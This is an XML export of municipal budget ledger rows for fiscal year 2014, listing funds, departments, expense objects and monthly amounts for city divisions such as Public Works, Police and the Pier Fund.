<row _id="7648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-1730 4TH ST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21210.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21210.0</total></row>
<row _id="7649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="7650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566330.0</object><object_description>STREET LIGHT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>190400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>190400.0</total></row>
<row _id="7651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1915.0</total></row>
<row _id="7652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162418.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162418.0</total></row>
<row _id="7653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99332.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99332.0</total></row>
<row _id="7654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="7655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>380.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>380.0</total></row>
<row _id="7656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>86338.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86338.0</total></row>
<row _id="7657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1107.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1107.0</total></row>
<row _id="7658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7133.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7133.0</total></row>
<row _id="7659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38253.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38253.0</total></row>
<row _id="7660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="7661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="7662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5270.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5270.0</total></row>
<row _id="7663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="7664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>408230.0</object><object_description>MIDTOWN PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561147.0</object><object_description>ST. JOE HPSHP - HUD</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21672.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21672.0</total></row>
<row _id="7666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408250.0</object><object_description>AHPP COMP MONITOR-STARTUP FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="7667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="7668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4518.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4518.0</total></row>
<row _id="7669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577300.0</object><object_description>PIER RESTORATION CORPORATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>494257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>494257.0</total></row>
<row _id="7670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>578420.0</object><object_description>POLICE PIER PATROL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>405251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>405251.0</total></row>
<row _id="7671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3302.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3302.0</total></row>
<row _id="7672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="7673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408210.0</object><object_description>BIKE TECHNO DEMO-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="7674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-88203.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-88203.0</total></row>
<row _id="7675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-32799.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32799.0</total></row>
<row _id="7676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1796.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1796.0</total></row>
<row _id="7677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26266.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26266.0</total></row>
<row _id="7678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>167550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>167550.0</total></row>
<row _id="7679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="7680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25110.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25110.0</total></row>
<row _id="7681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="7682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31271.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31271.0</total></row>
<row _id="7683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>196000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>196000.0</total></row>
<row _id="7684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27675.0</total></row>
<row _id="7685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566100.0</object><object_description>STREET LIGHT / POLE REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="7686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48590.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48590.0</total></row>
<row _id="7687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24225.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24225.0</total></row>
<row _id="7688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2915.0</total></row>
<row _id="7689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119417.0</total></row>
<row _id="7691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12625.0</total></row>
<row _id="7692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="7693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="7694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3436.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3436.0</total></row>
<row _id="7695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>407240.0</object><object_description>TRANS MGMT BLDG PLAN CHECK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-129353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-129353.0</total></row>
